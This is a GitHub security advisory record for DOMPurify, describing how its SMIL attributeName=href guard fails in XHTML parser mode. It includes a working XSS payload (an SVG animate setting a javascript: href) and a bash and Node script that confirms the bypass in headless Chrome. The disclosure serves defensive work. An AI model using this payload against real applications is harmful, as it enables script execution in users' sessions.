{"id":"GHSA-c6gr-qvv4-5v3f","summary":"DOMPurify: SMIL attributeName=href guard is skipped when PARSER_MEDIA_TYPE is application/xhtml+xml","details":"### Summary\n\nDOMPurify drops `attributeName` attributes whose value contains `href`, so an allowed `\u003canimate\u003e` or `\u003cset\u003e` can't rewrite a link's href after sanitizing. The check compares the attribute name after `transformCaseFunc`, and that function doesn't lowercase in XHTML mode. In XHTML the attribute is spelled `attributeName`, so the comparison with `\"attributename\"` never matches and the guard does nothing.\n\nAn app that uses `PARSER_MEDIA_TYPE: 'application/xhtml+xml'` and allows `animate` and `attributeName` will keep `\u003canimate attributeName=\"href\" values=\"x;javascript:alert(1)\"\u003e`. Clicking the parent link then runs the script.\n\nThis needs a non-default config, so going by SECURITY.md, this is a hardening bug rather than a bypass of the default config.\n\n### Details\n\nIn `_sanitizeAttributes` (dist/purify.js line 2216 in 3.4.16):\n\n```js\nconst lcName = transformCaseFunc(name);\n...\nif (lcName === \"attributename\" && stringMatch(value, \"href\")) {\n  _removeAttribute(name, currentNode, attr);\n  continue;\n}\n```\n\n`transformCaseFunc` is `stringToLowerCase` for text/html but the identity function for application/xhtml+xml, because XML names are case-sensitive. The XML parser keeps SVG's real name `attributeName`, so in XHTML mode `lcName` is `attributeName` and the branch never runs.\n\nPeople using XHTML mode have to list SVG attributes in camelCase. The built-in attribute lists are lowercase and won't match, so `ALLOWED_ATTR`/`ADD_ATTR: ['attributeName', ...]` is the config you'd naturally write here.\n\nThe value also passes the URI check. `IS_ALLOWED_URI` only checks the start of the string, and `x;javascript:alert(1)` looks like a relative value. SMIL reads `values` as a `;` list and, with `fill=\"freeze\"`, the last entry ends up as the effective href of the parent `\u003ca\u003e`.\n\nIn text/html mode the same allowlist is handled correctly. The name is lowercased and `attributeName` is removed.\n\nThis is close to the XHTML case-sensitivity hardening in 3.4.14/3.4.15 (Attack Classes & Bypass History §22): a check written for lowercase names that a case-preserved name gets past.\n\n### Proof of concept\n\nTested with DOMPurify 3.4.16 in Chrome 153 (headless shell). Also reproduced on 3.3.3, 3.3.1 and 3.2.7. Not confirmed for 2.x.\n\nConfig:\n\n```js\nconst cfg = {\n  PARSER_MEDIA_TYPE: 'application/xhtml+xml',\n  ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],\n  ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],\n};\n```\n\n`{ PARSER_MEDIA_TYPE: 'application/xhtml+xml', USE_PROFILES: { svg: true }, ADD_TAGS: ['animate'], ADD_ATTR: ['attributeName'] }` behaves the same.\n\nInput:\n\n```html\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" width=\"200\" height=\"60\"\u003e\u003ca id=\"q\"\u003e\u003canimate attributeName=\"href\" values=\"x;javascript:alert(1)\" dur=\"0.01s\" fill=\"freeze\"/\u003e\u003ctext x=\"10\" y=\"40\" font-size=\"30\"\u003eclick\u003c/text\u003e\u003c/a\u003e\u003c/svg\u003e\n```\n\nSteps:\n\n1. Save this as `poc.xhtml` next to `purify.js` (3.4.16) and open it in Chrome. The `.xhtml` extension makes Chrome load it as application/xhtml+xml, so nothing moves between HTML and XHTML.\n\n```html\n\u003chtml xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003chead\u003e\u003ctitle\u003epoc\u003c/title\u003e\n\u003cscript src=\"purify.js\"\u003e\u003c/script\u003e\u003c/head\u003e\u003cbody\u003e\u003cdiv id=\"sink\"\u003e\u003c/div\u003e\n\u003cscript\u003e//\u003c![CDATA[\nconst cfg = {\n  PARSER_MEDIA_TYPE: 'application/xhtml+xml',\n  ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],\n  ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],\n};\nconst dirty = '\u003csvg xmlns=\"http://www.w3.org/2000/svg\" width=\"200\" height=\"60\"\u003e\u003ca id=\"q\"\u003e\u003canimate attributeName=\"href\" values=\"x;javascript:alert(1)\" dur=\"0.01s\" fill=\"freeze\"/\u003e\u003ctext x=\"10\" y=\"40\" font-size=\"30\"\u003eclick\u003c/text\u003e\u003c/a\u003e\u003c/svg\u003e';\nconst clean = DOMPurify.sanitize(dirty, cfg);\nconsole.log(clean);\ndocument.getElementById('sink').innerHTML = clean;\n//]]\u003e\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e\n```\n\n2. The logged output still contains `attributeName=\"href\"` and `values=\"x;javascript:alert(1)\"`.\n3. `document.getElementById('q').href.animVal` returns `\"javascript:alert(1)\"`.\n4. Click \"click\" and `alert(1)` runs.\n\nAs a control, remove `PARSER_MEDIA_TYPE` and change the allowlist entry to `attributename`. The output then loses `attributeName`, `href.animVal` is `\"\"`, and clicking does nothing. The same XHTML-mode output also runs when inserted into a normal text/html page.\n\nAn automated version (fetches a given version from npm, clicks via CDP, checks for the dialog, runs the control) is below.\n\n\u003cdetails\u003e\n\u003csummary\u003epoc.sh\u003c/summary\u003e\n\n```bash\n#!/usr/bin/env bash\n# PoC: DOMPurify SMIL attributeName=href guard bypass in XHTML parser mode.\n#\n# Sanitizes an SVG payload with a PARSER_MEDIA_TYPE:\"application/xhtml+xml\"\n# config that allow-lists \u003canimate\u003e + attributeName, renders the output into\n# div.innerHTML in headless Chromium, clicks the link with a trusted (CDP) mouse\n# event and reports whether alert() fired. Also runs the same allowlist in\n# text/html mode as a control (DOMPurify strips attributeName there).\n#\n# usage:  ./poc.sh [dompurify-version]          (default 3.4.16, fetched via `npm pack`)\n#         DOMPURIFY_JS=/path/to/purify.js ./poc.sh\n#         CHROME=/path/to/chrome ./poc.sh\n# needs:  node \u003e= 18, npm (unless DOMPURIFY_JS is set), a Chromium/Chrome binary.\n# exit:   0 = vulnerable (alert fired in xhtml mode), 1 = not vulnerable, 2 = setup error\nset -euo pipefail\nVER=\"${1:-3.4.16}\"\nWORK=\"$(mktemp -d)\"\ntrap 'rm -rf \"$WORK\"' EXIT\n\nif [ -z \"${DOMPURIFY_JS:-}\" ]; then\n  (cd \"$WORK\" && npm pack \"dompurify@$VER\" --silent \u003e/dev/null 2\u003e&1 && tar xzf dompurify-*.tgz) || { echo \"npm pack dompurify@$VER failed\" \u003e&2; exit 2; }\n  DOMPURIFY_JS=\"$WORK/package/dist/purify.js\"\nfi\nif [ -z \"${CHROME:-}\" ]; then\n  for c in \"$HOME\"/.cache/ms-playwright/chromium_headless_shell-*/chrome-headless-shell-linux64/chrome-headless-shell \\\n           \"$HOME\"/.cache/ms-playwright/chromium-*/chrome-linux/chrome \\\n           \"$(command -v google-chrome || true)\" \"$(command -v chromium || true)\" \"$(command -v chromium-browser || true)\"; do\n    [ -n \"$c\" ] && [ -x \"$c\" ] && CHROME=\"$c\" && break\n  done\nfi\n[ -n \"${CHROME:-}\" ] || { echo \"no Chrome/Chromium found; set CHROME=\" \u003e&2; exit 2; }\n\ncat \u003e \"$WORK/poc.html\" \u003c\u003c'EOF'\n\u003c!doctype html\u003e\u003cmeta charset=\"utf-8\"\u003e\u003ctitle\u003epoc\u003c/title\u003e\n\u003cscript src=\"purify.js\"\u003e\u003c/script\u003e\n\u003cdiv id=\"sink\"\u003e\u003c/div\u003e\n\u003cscript\u003e//\u003c![CDATA[\nconst payload = '\u003csvg xmlns=\"http://www.w3.org/2000/svg\" width=\"200\" height=\"60\"\u003e' +\n  '\u003ca id=\"q\"\u003e\u003canimate attributeName=\"href\" values=\"x;javascript:alert(1)\" dur=\"0.01s\" fill=\"freeze\"/\u003e' +\n  '\u003ctext x=\"10\" y=\"40\" font-size=\"30\"\u003eclick\u003c/text\u003e\u003c/a\u003e\u003c/svg\u003e';\nfunction run(mode) {\n  const cfg = {\n    ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],\n    ALLOWED_ATTR: [mode === 'xhtml' ? 'attributeName' : 'attributename', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],\n  };\n  if (mode === 'xhtml') cfg.PARSER_MEDIA_TYPE = 'application/xhtml+xml';\n  const clean = DOMPurify.sanitize(payload, cfg);\n  document.getElementById('sink').innerHTML = clean;\n  return clean;\n}\n//]]\u003e\u003c/script\u003e\nEOF\ncp \"$DOMPURIFY_JS\" \"$WORK/purify.js\"\n# Same test inside a real XHTML document (no HTML\u003c-\u003eXHTML context flip):\n# the page is parsed as application/xhtml+xml and the sink's innerHTML uses the XML fragment parser.\nsed -e 's#\u003c!doctype html\u003e\u003cmeta charset=\"utf-8\"\u003e\u003ctitle\u003epoc\u003c/title\u003e#\u003chtml xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003chead\u003e\u003ctitle\u003epoc\u003c/title\u003e#' \\\n    -e 's#\u003cscript src=\"purify.js\"\u003e\u003c/script\u003e#\u003cscript src=\"purify.js\"\u003e\u003c/script\u003e\u003c/head\u003e\u003cbody\u003e#' \\\n    -e 's#^\u003c/script\u003e$#\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e#' \"$WORK/poc.html\" \u003e \"$WORK/poc.xhtml\"\n\ncat \u003e \"$WORK/drive.js\" \u003c\u003c'EOF'\n// zero-dependency CDP driver over --remote-debugging-pipe\nconst { spawn } = require('child_process');\nconst [chrome, url, dir] = process.argv.slice(2);\nconst xurl = url.replace(/\\.html$/, '.xhtml');\nconst p = spawn(chrome, ['--headless', '--no-sandbox', '--remote-debugging-pipe', '--disable-gpu', '--no-first-run',\n  `--user-data-dir=${dir}/profile`, 'about:blank'], { stdio: ['ignore', 'ignore', 'ignore', 'pipe', 'pipe'] });\nlet id = 0, buf = ''; const pend = new Map(), dialogs = [];\np.stdio[4].on('data', (d) =\u003e {\n  buf += d; let i;\n  while ((i = buf.indexOf('\\0')) \u003e= 0) {\n    const m = JSON.parse(buf.slice(0, i)); buf = buf.slice(i + 1);\n    if (m.id && pend.has(m.id)) { pend.get(m.id)(m); pend.delete(m.id); }\n    else if (m.method === 'Page.javascriptDialogOpening') {\n      dialogs.push(m.params.message);\n      send('Page.handleJavaScriptDialog', { accept: true }, m.sessionId);\n    }\n  }\n});\nfunction send(method, params = {}, sessionId) {\n  return new Promise((r) =\u003e { const n = ++id; pend.set(n, r); p.stdio[3].write(JSON.stringify({ id: n, method, params, sessionId }) + '\\0'); });\n}\nconst sleep = (ms) =\u003e new Promise((r) =\u003e setTimeout(r, ms));\n(async () =\u003e {\n  const { result: { targetId } } = await send('Target.createTarget', { url: 'about:blank' });\n  const { result: { sessionId: s } } = await send('Target.attachToTarget', { targetId, flatten: true });\n  await send('Page.enable', {}, s); await send('Runtime.enable', {}, s);\n  const ev = async (e) =\u003e (await send('Runtime.evaluate', { expression: e, returnByValue: true, awaitPromise: true }, s)).result.result.value;\n  let vulnerable = false, xhtmlDoc = false;\n  const ver = async () =\u003e ev('DOMPurify.version');\n  for (const [mode, page] of [['html', url], ['xhtml', url], ['xhtml', xurl]]) {\n    await send('Page.navigate', { url: page }, s); await sleep(500);\n    const docType = await ev('document.contentType');\n    if (mode === 'html') console.log('DOMPurify', await ver(), '/', await ev('navigator.userAgent.match(/Chrome\\\\/[\\\\d.]+/)[0]'));\n    dialogs.length = 0;\n    const clean = await ev(`run(${JSON.stringify(mode)})`);\n    await sleep(400); // let the 0.01s animation apply (fill=freeze)\n    const href = await ev(`(()=\u003e{const a=document.getElementById('q');return a?a.href.animVal:null})()`);\n    const box = await ev(`(()=\u003e{const t=document.querySelector('#sink text');if(!t)return null;const r=t.getBoundingClientRect();return [r.x+r.width/2,r.y+r.height/2]})()`);\n    if (box) for (const type of ['mouseMoved', 'mousePressed', 'mouseReleased'])\n      await send('Input.dispatchMouseEvent', { type, x: box[0], y: box[1], button: 'left', clickCount: 1 }, s);\n    await sleep(800);\n    console.log(`\\n[${mode} mode, sink document ${docType}] sanitized output:\\n  ${clean}`);\n    console.log(`  animated \u003ca\u003e href (animVal): ${JSON.stringify(href)}`);\n    console.log(`  alert() fired on click: ${dialogs.length ? 'YES ' + JSON.stringify(dialogs) : 'no'}`);\n    if (mode === 'xhtml' && dialogs.length) vulnerable = true;\n    if (mode === 'xhtml' && docType === 'application/xhtml+xml') xhtmlDoc = dialogs.length \u003e 0;\n  }\n  console.log(vulnerable ? `\\nRESULT: VULNERABLE (javascript: executed in XHTML mode; pure-XHTML document sink: ${xhtmlDoc ? 'also executes' : 'no'})` : '\\nRESULT: not vulnerable');\n  p.kill('SIGKILL'); process.exit(vulnerable ? 0 : 1);\n})().catch((e) =\u003e { console.error(e); p.kill('SIGKILL'); process.exit(2); });\nEOF\nnode \"$WORK/drive.js\" \"$CHROME\" \"file://$WORK/poc.html\" \"$WORK\"\n```\n\n\u003c/details\u003e\n\n### Impact\n\nStored or reflected XSS on a click. It affects apps that sanitize SVG in XHTML mode and allow `animate` (or `set`) with `attributeName`, for example to keep simple SVG animations. Script runs in the app's origin when a user clicks the sanitized link. Default configs and text/html mode aren't affected.","modified":"2026-10-22T16:30:30.125885064Z","published":"2026-10-22T16:24:23Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-10-22T16:24:23Z","nvd_published_at":null,"cwe_ids":["CWE-79"],"severity":"LOW"},"references":[{"type":"WEB","url":"https://github.com/cure53/DOMPurify/security/advisories/GHSA-c6gr-qvv4-5v3f"},{"type":"WEB","url":"https://github.com/cure53/DOMPurify/pull/1672"},{"type":"WEB","url":"https://github.com/cure53/DOMPurify/commit/a77a3e78b59f72fa4d1c83f22e121ad9cc7d3575"},{"type":"PACKAGE","url":"https://github.com/cure53/DOMPurify"},{"type":"WEB","url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.17"}],"affected":[{"package":{"name":"dompurify","ecosystem":"npm","purl":"pkg:npm/dompurify"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.4.17"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 3.4.16","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-c6gr-qvv4-5v3f/GHSA-c6gr-qvv4-5v3f.json"}}],"schema_version":"1.9.0"}